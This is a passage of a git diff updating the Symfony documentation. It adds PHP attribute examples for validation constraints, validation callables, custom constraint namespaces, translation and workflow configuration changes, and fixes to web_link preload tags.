-    {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
-
-.. _translation-filters:
-
-Using Twig Filters
-~~~~~~~~~~~~~~~~~~
-
-The ``trans`` filter can be used to translate *variable texts* and complex expressions:
-
-.. code-block:: twig
-
-    {{ message|trans }}
-
-    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
-
-.. tip::
-
-    Using the translation tags or filters have the same effect, but with
-    one subtle difference: automatic output escaping is only applied to
-    translations using a filter. In other words, if you need to be sure
-    that your translated message is *not* output escaped, you must apply
-    the ``raw`` filter after the translation filter:
-
-    .. code-block:: html+twig
-
-        {# text translated between tags is never escaped #}
-        {% trans %}
-            <h3>foo</h3>
-        {% endtrans %}
-
-        {% set message = '<h3>foo</h3>' %}
-
-        {# strings and variables translated via a filter are escaped by default #}
-        {{ message|trans|raw }}
-        {{ '<h3>bar</h3>'|trans|raw }}
-
-.. tip::
-
-    You can set the translation domain for an entire Twig template with a single tag:
-
-    .. code-block:: twig
-
-       {% trans_default_domain 'app' %}
-
-    Note that this only influences the current template, not any "included"
-    template (in order to avoid side effects).
-
-PHP Templates
--------------
-
-The translator service is accessible in PHP templates through the
-``translator`` helper::
-
-    <?= $view['translator']->trans('Symfony is great') ?>
-
diff --git a/translation/xliff.rst b/translation/xliff.rst
index a3c3daab43e..d5fb90e3586 100644
--- a/translation/xliff.rst
+++ b/translation/xliff.rst
@@ -19,7 +19,7 @@ loaded/dumped inside a Symfony application:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1"
         srcLang="fr-FR" trgLang="en-US">
         <file id="messages.en_US">
diff --git a/validation.rst b/validation.rst
index 837514f55c5..e7288763de6 100644
--- a/validation.rst
+++ b/validation.rst
@@ -11,6 +11,10 @@ into a database or passed to a web service.
 Symfony provides a `Validator`_ component to handle this for you. This
 component is based on the `JSR303 Bean Validation specification`_.
 
+.. index::
+   pair: Validation; Installation
+   pair: Validation; Configuration
+
 Installation
 ------------
 
@@ -21,6 +25,12 @@ install the validator before using it:
 
     $ composer require symfony/validator doctrine/annotations
 
+.. note::
+
+    If your application doesn't use Symfony Flex, you might need to do some
+    manual configuration to enable validation. Check out the
+    :ref:`Validation configuration reference <reference-validation>`.
+
 .. index::
    single: Validation; The basics
 
@@ -47,7 +57,7 @@ order to be valid. These rules are usually defined using PHP code or
 annotations but they can also be defined as ``.yaml`` or ``.xml`` files inside
 the ``config/validator/`` directory:
 
-For example, to guarantee that the ``$name`` property is not empty, add the
+For example, to indicate that the ``$name`` property must not be empty, add the
 following:
 
 .. configuration-block::
@@ -68,6 +78,20 @@ following:
             private $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            private $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,6 +134,11 @@ following:
             }
         }
 
+Adding this configuration by itself does not yet guarantee that the value will
+not be blank; you can still set it to a blank value if you want.
+To actually guarantee that the value adheres to the constraint, the object must
+be passed to the validator service to be checked.
+
 .. tip::
 
     Symfony's validator uses PHP reflection, as well as *"getter"* methods, to
@@ -164,7 +193,7 @@ message:
 .. code-block:: text
 
     Object(App\Entity\Author).name:
-        This value should not be blank
+        This value should not be blank.
 
 If you insert a value into the ``name`` property, the happy success message
 will appear.
@@ -202,88 +231,29 @@ Inside the template, you can output the list of errors exactly as needed:
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
 .. index::
-   pair: Validation; Configuration
+   single: Validation; Callables
 
-Configuration
--------------
+Validation Callables
+~~~~~~~~~~~~~~~~~~~~
 
-Before using the Symfony validator, make sure it's enabled in the main config
-file:
+The ``Validation`` also allows you to create a closure to validate values
+against a set of constraints (useful for example when
+:ref:`validating Console command answers <console-validate-question-answer>` or
+when :ref:`validating OptionsResolver values <optionsresolver-validate-value>`):
 
-.. configuration-block::
+:method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    This returns a closure that throws ``ValidationFailedException`` when the
+    constraints aren't matched.
+:method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable`
+    This returns a closure that returns ``false`` when the constraints aren't matched.
 
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enabled: true }
+.. versionadded:: 5.1
 
-    .. code-block:: xml
+    ``Validation::createCallable()`` was introduced in Symfony 5.1.
 
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+.. versionadded:: 5.3
 
-            <framework:config>
-                <framework:validation enabled="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enabled' => true,
-            ],
-        ]);
-
-Besides, if you plan to use annotations to configure validation, replace the
-previous configuration by the following:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            validation: { enable_annotations: true }
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:validation enable-annotations="true"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'enable_annotations' => true,
-            ],
-        ]);
-
-.. tip::
-
-    When using PHP, YAML, and XML files instead of annotations, Symfony looks
-    for by default in the ``config/validator/`` directory, but you can configure
-    other directories with the :ref:`validation.mapping.paths <reference-validation-mapping>` option.
+    ``Validation::createIsValidCallable()`` was introduced in Symfony 5.3.
 
 .. index::
    single: Validation; Constraints
@@ -298,7 +268,7 @@ rules). In order to validate an object, simply map one or more constraints
 to its class and then pass it to the ``validator`` service.
 
 Behind the scenes, a constraint is simply a PHP object that makes an assertive
-statement. In real life, a constraint could be: 'The cake must not be burned'.
+statement. In real life, a constraint could be: ``'The cake must not be burned'``.
 In Symfony, constraints are similar: they are assertions that a condition
 is true. Given a value, a constraint will tell you if that value
 adheres to the rules of the constraint.
@@ -342,7 +312,7 @@ literature genre mostly associated with the author, which can be set to either
         {
             /**
              * @Assert\Choice(
-             *     choices = { "fiction", "non-fiction" },
+             *     choices = {"fiction", "non-fiction"},
              *     message = "Choose a valid genre."
              * )
              */
@@ -351,6 +321,25 @@ literature genre mostly associated with the author, which can be set to either
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(
+                choices: ['fiction', 'non-fiction'],
+                message: 'Choose a valid genre.',
+            )]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -437,6 +426,22 @@ options can be specified in this way.
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(['fiction', 'non-fiction'])]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -509,7 +514,7 @@ of the form fields::
         $builder
             ->add('myField', TextType::class, [
                 'required' => true,
-                'constraints' => [new Length(['min' => 3])]
+                'constraints' => [new Length(['min' => 3])],
             ])
         ;
     }
@@ -559,6 +564,20 @@ class to have at least 3 characters.
             private $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 3)]
+            private $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -606,11 +625,17 @@ class to have at least 3 characters.
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
                     'firstName',
-                    new Assert\Length(["min" => 3])
+                    new Assert\Length(['min' => 3])
                 );
             }
         }
 
+.. caution::
+
+    The validator will use a value ``null`` if a typed property is uninitialized.
+    This can cause unexpected behavior if the property holds a value when initialized.
+    In order to avoid this, make sure all properties are initialized before validating them.
+
 .. index::
    single: Validation; Getter constraints
 
@@ -649,6 +674,23 @@ this method must return ``true``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsTrue(message: 'The password cannot match your first name')]
+            public function isPasswordSafe()
+            {
+                // ... return true or false
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index a569e5c6bfa..07fc8c85a73 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Validation; Custom constraints
 
-How to Create a custom Validation Constraint
+How to Create a Custom Validation Constraint
 ============================================
 
 You can create a custom constraint by extending the base constraint class,
@@ -12,27 +12,47 @@ alphanumeric characters.
 Creating the Constraint Class
 -----------------------------
 
-First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`::
+First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`:
 
-    // src/Validator/Constraints/ContainsAlphanumeric.php
-    namespace App\Validator\Constraints;
+.. configuration-block::
 
-    use Symfony\Component\Validator\Constraint;
+    .. code-block:: php-annotations
 
-    /**
-     * @Annotation
-     */
-    class ContainsAlphanumeric extends Constraint
-    {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-    }
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
+
+        use Symfony\Component\Validator\Constraint;
+
+        /**
+         * @Annotation
+         */
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
+        }
+
+    .. code-block:: php-attributes
 
-.. note::
+        // src/Validator/ContainsAlphanumeric.php
+        namespace App\Validator;
 
-    The ``@Annotation`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
-    Options for your constraint are represented as public properties on the
-    constraint class.
+        use Symfony\Component\Validator\Constraint;
+
+        #[\Attribute]
+        class ContainsAlphanumeric extends Constraint
+        {
+            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        }
+
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes.
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
 
 Creating the Validator itself
 -----------------------------
@@ -54,8 +74,8 @@ when actually performing the validation.
 
 The validator class only has one required method ``validate()``::
 
-    // src/Validator/Constraints/ContainsAlphanumericValidator.php
-    namespace App\Validator\Constraints;
+    // src/Validator/ContainsAlphanumericValidator.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
     use Symfony\Component\Validator\ConstraintValidator;
@@ -71,7 +91,7 @@ The validator class only has one required method ``validate()``::
             }
 
             // custom constraints should ignore null and empty values to allow
-            // other constraints (NotBlank, NotNull, etc.) take care of that
+            // other constraints (NotBlank, NotNull, etc.) to take care of that
             if (null === $value || '' === $value) {
                 return;
             }
@@ -83,6 +103,11 @@ The validator class only has one required method ``validate()``::
                 // separate multiple types using pipes
                 // throw new UnexpectedValueException($value, 'string|int');
             }
+            
+            // access your configuration options like this:
+            if ('strict' === $constraint->mode) {
+                // ...
+            }
 
             if (!preg_match('/^[a-zA-Z0-9]+$/', $value, $matches)) {
                 // the argument must be a string or an object implementing __toString()
@@ -112,7 +137,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class AcmeEntity
@@ -121,13 +146,32 @@ You can use custom validators like the ones provided by Symfony itself:
 
             /**
              * @Assert\NotBlank
-             * @AcmeAssert\ContainsAlphanumeric
+             * @AcmeAssert\ContainsAlphanumeric(mode="loose")
              */
             protected $name;
 
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class AcmeEntity
+        {
+            // ...
+
+            #[Assert\NotBlank]
+            #[AcmeAssert\ContainsAlphanumeric(options: ['mode' => 'loose'])]
+            protected $name;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -135,7 +179,7 @@ You can use custom validators like the ones provided by Symfony itself:
             properties:
                 name:
                     - NotBlank: ~
-                    - App\Validator\Constraints\ContainsAlphanumeric: ~
+                    - App\Validator\ContainsAlphanumeric: ~
 
     .. code-block:: xml
 
@@ -148,7 +192,7 @@ You can use custom validators like the ones provided by Symfony itself:
             <class name="App\Entity\AcmeEntity">
                 <property name="name">
                     <constraint name="NotBlank"/>
-                    <constraint name="App\Validator\Constraints\ContainsAlphanumeric"/>
+                    <constraint name="App\Validator\ContainsAlphanumeric"/>
                 </property>
             </class>
         </constraint-mapping>
@@ -158,7 +202,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ContainsAlphanumeric;
+        use App\Validator\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -233,6 +277,11 @@ not to the property:
 
     .. code-block:: php-annotations
 
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+        
         /**
          * @AcmeAssert\ProtocolClass
          */
@@ -241,18 +290,31 @@ not to the property:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/AcmeEntity.php
+        namespace App\Entity;
+
+        use App\Validator as AcmeAssert;
+
+        #[AcmeAssert\ProtocolClass]
+        class AcmeEntity
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
         App\Entity\AcmeEntity:
             constraints:
-                - App\Validator\Constraints\ProtocolClass: ~
+                - App\Validator\ProtocolClass: ~
 
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
         <class name="App\Entity\AcmeEntity">
-            <constraint name="App\Validator\Constraints\ProtocolClass"/>
+            <constraint name="App\Validator\ProtocolClass"/>
         </class>
 
     .. code-block:: php
@@ -260,7 +322,7 @@ not to the property:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ProtocolClass;
+        use App\Validator\ProtocolClass;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class AcmeEntity
diff --git a/validation/groups.rst b/validation/groups.rst
index b25c82236fc..70dcc975655 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -42,6 +42,27 @@ user registers and when a user updates their contact information later:
             private $city;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User implements UserInterface
+        {
+            #[Assert\Email(groups: ['registration'])]
+            private $email;
+
+            #[Assert\NotBlank(groups: ['registration'])]
+            #[Assert\Length(min: 7, groups: ['registration'])]
+            private $password;
+
+            #[Assert\Length(min: 2)]
+            private $city;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -123,7 +144,7 @@ user registers and when a user updates their contact information later:
                 ]));
 
                 $metadata->addPropertyConstraint('city', new Assert\Length([
-                    "min" => 2,
+                    'min' => 2,
                 ]));
             }
         }
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index cd25bec0653..3565de902d8 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -25,7 +25,7 @@ address. From inside a controller, it looks like this::
             $emailConstraint
         );
 
-        if (0 === count($errors)) {
+        if (!$errors->count()) {
             // ... this IS a valid email address, do something
         } else {
             // this is *not* a valid email address
@@ -88,7 +88,7 @@ Validation of arrays is possible using the ``Collection`` constraint::
                 new Assert\Collection([
                     'slug' => [
                         new Assert\NotBlank(),
-                        new Assert\Type(['type' => 'string'])
+                        new Assert\Type(['type' => 'string']),
                     ],
                     'label' => [
                         new Assert\NotBlank(),
@@ -105,3 +105,10 @@ The ``validate()`` method returns a :class:`Symfony\\Component\\Validator\\Const
 object, which acts like an array of errors. Each error in the collection
 is a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object,
 which holds the error message on its ``getMessage()`` method.
+
+.. note::
+
+    When using groups with the
+    :doc:`Collection </reference/constraints/Collection>` constraint, be sure to
+    use the ``Optional`` constraint when appropriate as explained in its
+    reference documentation.
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 503c50f67e5..699711b661d 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -47,6 +47,33 @@ username and the password are different only if all other validation passes
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\GroupSequence(['User', 'Strict'])]
+        class User implements UserInterface
+        {
+            #[Assert\NotBlank]
+            private $username;
+
+            #[Assert\NotBlank]
+            private $password;
+
+            #[Assert\IsTrue(
+                message: 'The password cannot match your username',
+                groups: ['Strict'],
+            )]
+            public function isPasswordSafe()
+            {
+                return ($this->username !== $this->password);
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -151,7 +178,7 @@ You can also define a group sequence in the ``validation_groups`` form option::
 
     // src/Form/MyType.php
     namespace App\Form;
-    
+
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
     use Symfony\Component\Validator\Constraints\GroupSequence;
@@ -204,6 +231,27 @@ entity and a new constraint group called ``Premium``:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank]
+            private $name;
+
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                groups: ['Premium'],
+            )]
+            private $creditCard;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -263,7 +311,7 @@ entity and a new constraint group called ``Premium``:
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
-                    'schemes' => ['VISA'],
+                    'schemes' => [Assert\CardScheme::VISA],
                     'groups'  => ['Premium'],
                 ]));
             }
@@ -319,6 +367,19 @@ provides a sequence of groups to be validated:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+
+        #[Assert\GroupSequenceProvider]
+        class User implements GroupSequenceProviderInterface
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/severity.rst b/validation/severity.rst
index 23b81145ee9..7df7746c7f2 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -50,6 +50,25 @@ Use the ``payload`` option to configure the error level for each constraint:
             protected $bankAccountNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $username;
+
+            #[Assert\NotBlank(payload: ['severity' => 'error'])]
+            protected $password;
+
+            #[Assert\Iban(payload: ['severity' => 'warning'])]
+            protected $bankAccountNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -137,7 +156,7 @@ method. Each constraint exposes the attached payload as a public property::
     // Symfony\Component\Validator\ConstraintViolation
     $constraintViolation = ...;
     $constraint = $constraintViolation->getConstraint();
-    $severity = isset($constraint->payload['severity']) ? $constraint->payload['severity'] : null;
+    $severity = $constraint->payload['severity'] ?? null;
 
 For example, you can leverage this to customize the ``form_errors`` block
 so that the severity is added as an additional HTML class:
diff --git a/validation/translations.rst b/validation/translations.rst
index 5c22f9362c3..10ce5b11275 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -4,12 +4,19 @@
 How to Translate Validation Constraint Messages
 ===============================================
 
-If you're using validation constraints with the Form component, you can translate
-the error messages by creating a translation resource for the
-``validators`` :ref:`domain <translation-resource-locations>`.
+The validation constraints used in forms can translate their error messages by
+creating a translation resource for the ``validators``
+:ref:`translation domain <translation-resource-locations>`.
 
-To start, suppose you've created a plain-old-PHP object that you need to
-use somewhere in your application::
+First of all, install the Symfony translation component (if it's not already
+installed in your application) running the following command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/translation
+
+Suppose you've created a plain-old-PHP object that you need to use somewhere in
+your application::
 
     // src/Entity/Author.php
     namespace App\Entity;
@@ -40,6 +47,19 @@ property is not empty, add the following:
             public $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank(message: 'author.name.not_blank')]
+            public $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -93,8 +113,8 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: xml
 
-        <!-- translations/validators.en.xlf -->
-        <?xml version="1.0"?>
+        <!-- translations/validators/validators.en.xlf -->
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -108,12 +128,12 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
 
     .. code-block:: yaml
 
-        # translations/validators.en.yaml
+        # translations/validators/validators.en.yaml
         author.name.not_blank: Please enter an author name.
 
     .. code-block:: php
 
-        // translations/validators.en.php
+        // translations/validators/validators.en.php
         return [
             'author.name.not_blank' => 'Please enter an author name.',
         ];
diff --git a/web_link.rst b/web_link.rst
index 1c802a518da..dd8ce736e89 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -62,7 +62,7 @@ correct prioritization and the content security policy:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style' }) }}">
     </head>
 
 If you reload the page, the perceived performance will improve because the
@@ -77,7 +77,7 @@ requested the HTML page.
 
         <head>
             <!-- ... -->
-            <link rel="stylesheet" href="{{ preload(asset('build/app.css')) }}">
+            <link rel="preload" href="{{ preload(asset('build/app.css')) }}">
         </head>
 
 Additionally, according to `the Priority Hints specification`_, you can signal
@@ -87,7 +87,7 @@ the priority of the resource to download using the ``importance`` attribute:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', importance: 'low' }) }}">
     </head>
 
 How does it work?
@@ -111,7 +111,7 @@ issuing an early separate HTTP request, use the ``nopush`` option:
 
     <head>
         <!-- ... -->
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 Resource Hints
@@ -145,7 +145,7 @@ any link implementing the `PSR-13`_ standard. For instance, any
     <head>
         <!-- ... -->
         <link rel="alternate" href="{{ link('/index.jsonld', 'alternate') }}">
-        <link rel="stylesheet" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
+        <link rel="preload" href="{{ preload('/app.css', { as: 'style', nopush: true }) }}">
     </head>
 
 The previous snippet will result in this HTTP header being sent to the client:
diff --git a/workflow.rst b/workflow.rst
index 43593eb739d..263b8997861 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -120,50 +120,47 @@ like this:
 
         // config/packages/workflow.php
         use App\Entity\BlogPost;
-
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'blog_publishing' => [
-                    'type' => 'workflow', // or 'state_machine'
-                    'audit_trail' => [
-                        'enabled' => true
-                    ],
-                    'marking_store' => [
-                        'type' => 'method',
-                        'property' => 'currentPlace',
-                    ],
-                    'supports' => [BlogPost::class],
-                    'initial_marking' => 'draft',
-                    'places' => [
-                        'draft',
-                        'reviewed',
-                        'rejected',
-                        'published',
-                    ],
-                    'transitions' => [
-                        'to_review' => [
-                            'from' => 'draft',
-                            'to' => 'reviewed',
-                        ],
-                        'publish' => [
-                            'from' => 'reviewed',
-                            'to' => 'published',
-                        ],
-                        'reject' => [
-                            'from' => 'reviewed',
-                            'to' => 'rejected',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $blogPublishing = $framework->workflows()->workflows('blog_publishing');
+            $blogPublishing
+                ->type('workflow') // or 'state_machine'
+                ->supports([BlogPost::class])
+                ->initialMarking(['draft']);
+
+            $blogPublishing->auditTrail()->enabled(true);
+            $blogPublishing->markingStore()
+                ->type('method')
+                ->property('currentPlace');
+
+            $blogPublishing->place()->name('draft');
+            $blogPublishing->place()->name('reviewed');
+            $blogPublishing->place()->name('rejected');
+            $blogPublishing->place()->name('published');
+
+            $blogPublishing->transition()
+                ->name('to_review')
+                    ->from(['draft'])
+                    ->to(['reviewed']);
+
+            $blogPublishing->transition()
+                ->name('publish')
+                    ->from(['reviewed'])
+                    ->to(['published']);
+
+            $blogPublishing->transition()
+                ->name('reject')
+                    ->from(['reviewed'])
+                    ->to(['rejected']);
+        };
 
 .. tip::
 
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
-The configured property will be used via it's implemented getter/setter methods by the marking store::
+The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -232,13 +229,16 @@ what actions are allowed on a blog post::
 
     // See all the available transitions for the post in the current state
     $transitions = $workflow->getEnabledTransitions($post);
+    // See a specific available transition for the post in the current state
+    $transition = $workflow->getEnabledTransition($post, 'publish');
 
 Accessing the Workflow in a Class
 ---------------------------------
 
 You can use the workflow inside a class by using
 :doc:`service autowiring </service_container/autowiring>` and using
-``camelCased workflow name + Workflow`` as parameter name::
+``camelCased workflow name + Workflow`` as parameter name. If it is a state
+machine type, use ``camelCased workflow name + StateMachine``::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\WorkflowInterface;
@@ -247,7 +247,7 @@ You can use the workflow inside a class by using
     {
         private $blogPublishingWorkflow;
 
-        // this injects the blog_publishing workflow configured before
+        // Symfony will inject the 'blog_publishing' workflow configured before
         public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
             $this->blogPublishingWorkflow = $blogPublishingWorkflow;
@@ -378,11 +378,37 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
+    You can avoid triggering those events by using the context::
+
+        $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
+
+    .. versionadded:: 5.1
+
+        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+
+    .. versionadded:: 5.2
+
+        In Symfony 5.2, the context is customizable for all events except for
+        ``workflow.guard`` events, which will not receive the custom ``$context``::
+
+            // $context must be an array
+            $context = ['context_key' => 'context_value'];
+            $workflow->apply($subject, $transitionName, $context);
+
+            // in an event listener
+            $context = $event->getContext(); // returns ['context']
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
     in same place.
 
+.. note::
+
+    If you initialize the marking by calling ``$workflow->getMarking($object);``,
+    then the ``workflow.[workflow_name].entered.[initial_place_name]`` event will
+    be called with the default context (``Workflow::DEFAULT_INITIAL_CONTEXT``).
+
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 
@@ -421,6 +447,18 @@ workflow leaves a place::
         }
     }
 
+If some listeners update the context during a transition, you can retrieve
+it via the marking::
+
+    $marking = $workflow->apply($post, 'to_review');
+
+    // contains the new value
+    $marking->getContext();
+
+.. versionadded:: 5.4
+
+    The ability to get the new value from the marking was introduced in Symfony 5.4.
+
